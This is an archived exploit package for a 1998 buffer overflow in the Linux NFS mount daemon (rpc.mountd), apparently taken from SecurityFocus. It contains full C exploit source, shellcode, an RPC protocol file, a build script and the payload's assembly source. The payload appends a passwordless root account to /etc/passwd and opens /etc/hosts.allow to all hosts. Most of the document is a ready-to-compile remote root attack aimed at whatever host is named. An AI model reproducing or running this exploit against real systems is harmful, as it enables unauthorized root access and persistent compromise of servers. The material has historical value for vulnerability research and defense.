source: http://www.securityfocus.com/bid/121/info

NFS servers running certain implementations of mountd, primarily Linux systems. On some systems, the vulnerable NFS server is enabled by default. This vulnerability can be exploited even if the NFS server does not share any file systems.

This vulnerability is specifically a buffer overflow in the mount daemons logging code which is supposed to log unauthorized mount attempts.

/*
    rpc.mountd [remote] exploit by LucySoft [ [email protected] ]

    [September 20, 1998]
    [version 0.4]

    tested on Red Hat Linux 5.1 (Manhattan)
    running nfs-server-2.2beta29

    I guess patches are available at ftp://ftp.redhat.com

    NOTE: if the remote host has /etc/exporfs non-empty,
    [shwomount -e remote_host]
    you must define __EXPORTS 2 and recompile

    I've tested on only two RH 5.1 systems, the offset was about 1000.

*/

#define __EXPORTFS      1


#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <linux/nfs.h>

#include "nfsmount.h"



static unsigned long            __offset = 1160;

/*
   check out code.c if you want to know what this means
*/

static char code[] =
{
    0xeb, 0x56, 0x5e, 0x56,
    0x56, 0x56, 0x31, 0xd2,
    0x88, 0x56, 0x0b, 0x88,
    0x56, 0x1e, 0x88, 0x56,

    0x27, 0x88, 0x56, 0x38,
    0xb2, 0x0a, 0x88, 0x56,
    0x1d, 0x88, 0x56, 0x26,
    0x5b, 0x31, 0xc9, 0x41,

    0x41, 0x31, 0xc0, 0xb0,
    0x05, 0xcd, 0x80, 0x50,
    0x89, 0xc3, 0x31, 0xc9,
    0x31, 0xd2, 0xb2, 0x02,

    0x31, 0xc0, 0xb0, 0x13,
    0xcd, 0x80, 0x58, 0x89,
    0xc2, 0x89, 0xc3, 0x59,
    0x52, 0x31, 0xd2, 0xb2,

    0x0c, 0x01, 0xd1, 0xb2,
    0x13, 0x31, 0xc0, 0xb0,
    0x04, 0x31, 0xd2, 0xb2,
    0x12, 0xcd, 0x80, 0x5b,

    0x31, 0xc0, 0xb0, 0x06,
    0xcd, 0x80, 0xeb, 0x3f,
    0xe8, 0xa5, 0xff, 0xff,
    0xff, 0x2f, 0x65, 0x74,

    0x63, 0x2f, 0x70, 0x61,
    0x73, 0x73, 0x77, 0x64,
    0x78, 0x7a, 0x3a, 0x3a,
    0x30, 0x3a, 0x30, 0x3a,

    0x3a, 0x2f, 0x3a, 0x2f,
    0x62, 0x69, 0x6e, 0x2f,
    0x73, 0x68, 0x78, 0x78,
    0x41, 0x4c, 0x4c, 0x3a,

    0x41, 0x4c, 0x4c, 0x78,
    0x78, 0x2f, 0x65, 0x74,
    0x63, 0x2f, 0x68, 0x6f,
    0x73, 0x74, 0x73, 0x2e,

    0x61, 0x6c, 0x6c, 0x6f,
    0x77, 0x78, 0xff, 0x5b,
    0x53, 0x31, 0xc9, 0xb1,
    0x28, 0x01, 0xcb, 0xb1,

    0x02, 0x31, 0xc0, 0xb0,
    0x05, 0xcd, 0x80, 0x50,
    0x89, 0xc3, 0x31, 0xc9,
    0x31, 0xd2, 0xb2, 0x02,

    0x31, 0xc0, 0xb0, 0x13,
    0xcd, 0x80, 0x5b, 0x59,
    0x53, 0x31, 0xd2, 0xb2,
    0x1f, 0x01, 0xd1, 0xb2,

    0x08, 0x31, 0xc0, 0xb0,
    0x04, 0xcd, 0x80, 0x5b,
    0x31, 0xc0, 0xb0, 0x06,
    0xcd, 0x80, 0x31, 0xc0,
    0x40, 0xcd, 0x80
};



unsigned long get_esp()
{
   __asm__("movl %esp,%eax");
}


void _fill_hostile_buffer(char *ptr)
{
    char        *buff;
    unsigned    retaddr = get_esp() + __offset;
    int         length;

    memset(ptr, 0x90, 1024);

    length = strlen(code);

    memcpy(ptr + 1024 - length - 40 - __EXPORTFS, code, length);
    buff = ptr + 1024 - 40 - __EXPORTFS;

    while (buff < (ptr + 1024))
    {
        *(unsigned*)buff = (unsigned)retaddr;
        buff += sizeof(unsigned);
    }
    ptr[1023] = '\0';

    fprintf(stderr, "code length = %d, used retaddr is %x\n", length,
retaddr);

}

/*
    ripped off from nfsmount.c [ mount-2.7l.rpm - RH 5.1 ]
*/


int _nfsmount(char* hostname, char *dirname)
{
        CLIENT  *mclient;
        int     mountprog, mountvers;
        int     nfsprog, nfsvers;
        int     mountport = 0;
        int     clnt_stat;
        int     msock, fsock;

        struct  hostent *hp;
        struct  sockaddr_in server_addr;
        struct  fhstatus status;
        struct  timeval total_timeout, retry_timeout;



        if (!(hp = gethostbyname(hostname)))
        {
            fprintf(stderr, "mx: can't get address for %s\n", hostname);
            return(-1);
        }


        server_addr.sin_family = AF_INET;
        memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length);

        mountprog = MOUNTPROG;
        mountvers = MOUNTVERS;

        nfsprog = NFS_PROGRAM;
        nfsvers = NFS_VERSION;

        total_timeout.tv_usec = 0;
        total_timeout.tv_sec = 20;

        retry_timeout.tv_usec = 0;
        retry_timeout.tv_sec = 3;

        server_addr.sin_port = htons(mountport);
        msock = RPC_ANYSOCK;

        fprintf(stderr, "ok, attacking target %s\n", hp->h_name);

        mclient = clntudp_create(&server_addr,
            mountprog, mountvers,
            retry_timeout, &msock);

        if (mclient)
        {
            mclient->cl_auth = authunix_create_default();
            clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
                (xdrproc_t) xdr_dirpath, (caddr_t) &dirname,
                (xdrproc_t) xdr_fhstatus, (caddr_t) &status,
                total_timeout);

            if (clnt_stat != RPC_SUCCESS)
            {
                /*

                auth_destroy(mclient->cl_auth);
                clnt_destroy(mclient);
                close(msock);

                clnt_perror(mclient, "mx clnt_call");
                */
                return(msock);
            }
            fprintf(stderr, "successful clnt_call\n");
            return(msock);
        }
        else
        {
            clnt_pcreateerror("mx clntudp_create");
            return(-1);
        }


        auth_destroy(mclient->cl_auth);
        clnt_destroy(mclient);
        close(msock);
        return (-1);
}


int main(int argc, char *argv[])
{
    int         k, sock;
    char        hostilebuffer[4096];


    if (argc < 2)
    {
        fprintf(stderr, "usage : %s target_host [offset]\n", argv[0]);
        return(-1);
    }

    if (argc == 3)
    {
        __offset = strtol(argv[2], (char**)NULL, 10);
        fprintf(stderr, "using offset %d\n", __offset);
    }

    _fill_hostile_buffer(hostilebuffer);
    if (_nfsmount(argv[1], hostilebuffer) > 0)
    {
        fprintf(stderr, "seems that security on host %s was defeated\n",
            argv[1]);
    }

    return(0);
}


-------------------------------------------------------------------------
CUT_HERE next file is nfsmount.x
-------------------------------------------------------------------------

%/*
% * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
% * unrestricted use provided that this legend is included on all tape
% * media and as a part of the software program in whole or part.  Users
% * may copy or modify Sun RPC without charge, but are not authorized
% * to license or distribute it to anyone else except as part of a product
or
% * program developed by the user or with the express written consent of
% * Sun Microsystems, Inc.
% *
% * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
% * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
% * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
% *
% * Sun RPC is provided with no support and without any obligation on the
% * part of Sun Microsystems, Inc. to assist in its use, correction,
% * modification or enhancement.
% *
% * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
% * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
% * OR ANY PART THEREOF.
% *
% * In no event will Sun Microsystems, Inc. be liable for any lost revenue
% * or profits or other special, indirect and consequential damages, even
if
% * Sun has been advised of the possibility of such damages.
% *
% * Sun Microsystems, Inc.
% * 2550 Garcia Avenue
% * Mountain View, California  94043
% */

%/*
% * Copyright (c) 1985, 1990 by Sun Microsystems, Inc.
% */
%
%/* from @(#)mount.x    1.3 91/03/11 TIRPC 1.0 */

/*
 * Protocol description for the mount program
 */

#ifdef RPC_HDR
%#ifndef _rpcsvc_mount_h
%#define _rpcsvc_mount_h
#endif

#ifdef RPC_CLNT
%#include <string.h>            /* for memset() */
#endif

const MNTPATHLEN = 1024;        /* maximum bytes in a pathname argument */
const MNTNAMLEN = 255;          /* maximum bytes in a name argument */
const FHSIZE = 32;              /* size in bytes of a file handle */

/*
 * The fhandle is the file handle that the server passes to the client.
 * All file operations are done using the file handles to refer to a file
 * or a directory. The file handle can contain whatever information the
 * server needs to distinguish an individual file.
 */
typedef opaque fhandle[FHSIZE];

/*
 * If a status of zero is returned, the call completed successfully, and
 * a file handle for the directory follows. A non-zero status indicates
 * some sort of error. The status corresponds with UNIX error numbers.
 */
union fhstatus switch (unsigned fhs_status) {
case 0:
        fhandle fhs_fhandle;
default:
        void;
};

/*
 * The type dirpath is the pathname of a directory
 */
typedef string dirpath<MNTPATHLEN>;

/*
 * The type name is used for arbitrary names (hostnames, groupnames)
 */
typedef string name<MNTNAMLEN>;

/*
 * A list of who has what mounted
 */
typedef struct mountbody *mountlist;
struct mountbody {
        name ml_hostname;
        dirpath ml_directory;
        mountlist ml_next;
};

/*
 * A list of netgroups
 */
typedef struct groupnode *groups;
struct groupnode {
        name gr_name;
        groups gr_next;
};

/*
 * A list of what is exported and to whom
 */
typedef struct exportnode *exports;
struct exportnode {
        dirpath ex_dir;
        groups ex_groups;
        exports ex_next;
};

/*
 * POSIX pathconf information
 */
struct ppathcnf {
        int     pc_link_max;    /* max links allowed */
        short   pc_max_canon;   /* max line len for a tty */
        short   pc_max_input;   /* input a tty can eat all at once */
        short   pc_name_max;    /* max file name length (dir entry) */
        short   pc_path_max;    /* max path name length (/x/y/x/.. ) */
        short   pc_pipe_buf;    /* size of a pipe (bytes) */
        u_char  pc_vdisable;    /* safe char to turn off c_cc[i] */
        char    pc_xxx;         /* alignment padding; cc_t == char */
        short   pc_mask[2];     /* validity and boolean bits */
};

program MOUNTPROG {
        /*
         * Version one of the mount protocol communicates with version two
         * of the NFS protocol. The only connecting point is the fhandle
         * structure, which is the same for both protocols.
         */
        version MOUNTVERS {
                /*
                 * Does no work. It is made available in all RPC services
                 * to allow server reponse testing and timing
                 */
                void
                MOUNTPROC_NULL(void) = 0;

                /*
                 * If fhs_status is 0, then fhs_fhandle contains the
                 * file handle for the directory. This file handle may
                 * be used in the NFS protocol. This procedure also adds
                 * a new entry to the mount list for this client mounting
                 * the directory.
                 * Unix authentication required.
                 */
                fhstatus
                MOUNTPROC_MNT(dirpath) = 1;

                /*
                 * Returns the list of remotely mounted filesystems. The
                 * mountlist contains one entry for each hostname and
                 * directory pair.
                 */
                mountlist
                MOUNTPROC_DUMP(void) = 2;

                /*
                 * Removes the mount list entry for the directory
                 * Unix authentication required.
                 */
                void
                MOUNTPROC_UMNT(dirpath) = 3;

                /*
                 * Removes all of the mount list entries for this client
                 * Unix authentication required.
                 */
                void
                MOUNTPROC_UMNTALL(void) = 4;

                /*
                 * Returns a list of all the exported filesystems, and
which
                 * machines are allowed to import it.
                 */
                exports
                MOUNTPROC_EXPORT(void)  = 5;

                /*
                 * Identical to MOUNTPROC_EXPORT above
                 */
                exports
                MOUNTPROC_EXPORTALL(void) = 6;
        } = 1;

        /*
         * Version two of the mount protocol communicates with version two
         * of the NFS protocol.
         * The only difference from version one is the addition of a POSIX
         * pathconf call.
         */
        version MOUNTVERS_POSIX {
                /*
                 * Does no work. It is made available in all RPC services
                 * to allow server reponse testing and timing
                 */
                void
                MOUNTPROC_NULL(void) = 0;

                /*
                 * If fhs_status is 0, then fhs_fhandle contains the
                 * file handle for the directory. This file handle may
                 * be used in the NFS protocol. This procedure also adds
                 * a new entry to the mount list for this client mounting
                 * the directory.
                 * Unix authentication required.
                 */
                fhstatus
                MOUNTPROC_MNT(dirpath) = 1;

                /*
                 * Returns the list of remotely mounted filesystems. The
                 * mountlist contains one entry for each hostname and
                 * directory pair.
                 */
                mountlist
                MOUNTPROC_DUMP(void) = 2;

                /*
                 * Removes the mount list entry for the directory
                 * Unix authentication required.
                 */
                void
                MOUNTPROC_UMNT(dirpath) = 3;

                /*
                 * Removes all of the mount list entries for this client
                 * Unix authentication required.
                 */
                void
                MOUNTPROC_UMNTALL(void) = 4;

                /*
                 * Returns a list of all the exported filesystems, and
which
                 * machines are allowed to import it.
                 */
                exports
                MOUNTPROC_EXPORT(void)  = 5;

                /*
                 * Identical to MOUNTPROC_EXPORT above
                 */
                exports
                MOUNTPROC_EXPORTALL(void) = 6;

                /*
                 * POSIX pathconf info (Sun hack)
                 */
                ppathcnf
                MOUNTPROC_PATHCONF(dirpath) = 7;
        } = 2;
} = 100005;

#ifdef RPC_HDR
%#endif /*!_rpcsvc_mount_h*/
#endif


------------------------------------------------------------------------
CUT_HERE : next file is makeit [ script for building the stuff ]
------------------------------------------------------------------------

#!/bin/bash

rpcgen -C nfsmount.x
gcc -c -g nfsmount.c
gcc -o mx nfsmount.o nfsmount_xdr.c

---------------------------------------------------------------------------
CUT_HERE : next file is the asm code... just to have the entire source
code
---------------------------------------------------------------------------

/*

  really ugly code. It does :

  int fd = open("/etc/passwd", O_RDWR);
  lseek(fd, 0, SEEK_END);
  write(fd, "z::0:0::/:/bin/sh\n", 18);
  close(fd);

  int fd = open("/etc/hosts.allow", O_RDWR);
  lseek(fd, 0, SEEK_END);
  write(fd, "ALL:ALL\n", 8);
  close(fd);

  exit(?);

*/

#include <stdio.h>

main()
{
    __asm__("jmp eofcode
            here:
            popl %esi
            pushl %esi
            pushl %esi
            pushl %esi

            xorl %edx, %edx
            movb %dl, 11(%esi)
            movb %dl, 30(%esi)
            movb %dl, 39(%esi)
            movb %dl, 56(%esi)
            movb $0x0a, %dl
            movb %dl, 29(%esi)
            movb %dl, 38(%esi)
            popl %ebx
            xorl %ecx, %ecx
            incl %ecx
            incl %ecx
            xor %eax, %eax
            movb $0x05, %al
            int  $0x80

            pushl %eax

            movl %eax, %ebx
            xorl %ecx, %ecx
            xorl %edx, %edx
            movb $0x02, %dl
            xorl %eax, %eax
            movb $0x13, %al
            int  $0x80

            popl %eax

            movl %eax, %edx
            movl %eax, %ebx
            popl %ecx
            pushl %edx
            xorl %edx, %edx
            movb $0x0c, %dl
            addl %edx, %ecx
            movb $0x13, %dl
            xorl %eax, %eax
            movb $0x04, %al
            xorl %edx, %edx
            movb $0x12, %dl
            int  $0x80

            popl %ebx
            xorl %eax, %eax
            movb $0x06, %al
            int  $0x80

            jmp  cont1


            eofcode:
            call here
            .string
\"/etc/passwdxz::0:0::/:/bin/shxxALL:ALLxx/etc/hosts.allowx\"

            cont1:

            popl %ebx
            pushl %ebx
            xorl %ecx, %ecx
            movb $40, %cl
            addl %ecx, %ebx
            movb $02, %cl
            xor  %eax, %eax
            movb $05, %al
            int  $0x80


            pushl %eax

            movl %eax, %ebx
            xorl %ecx, %ecx
            xorl %edx, %edx
            movb $0x02, %dl
            xorl %eax, %eax
            movb $0x13, %al
            int  $0x80

            popl %ebx

            popl %ecx

            pushl %ebx

            xorl %edx, %edx
            movb $31, %dl
            addl %edx, %ecx
            movb $8, %dl
            xorl %eax, %eax
            movb $4, %al
            int  $0x80


            popl %ebx
            xorl %eax, %eax
            movb $0x06, %al
            int  $0x80

            xor  %eax, %eax
            incl %eax
            int  $0x80

            .string \"theeeeeeeeeeend\"
            ");

}
源链接

Hacking more

...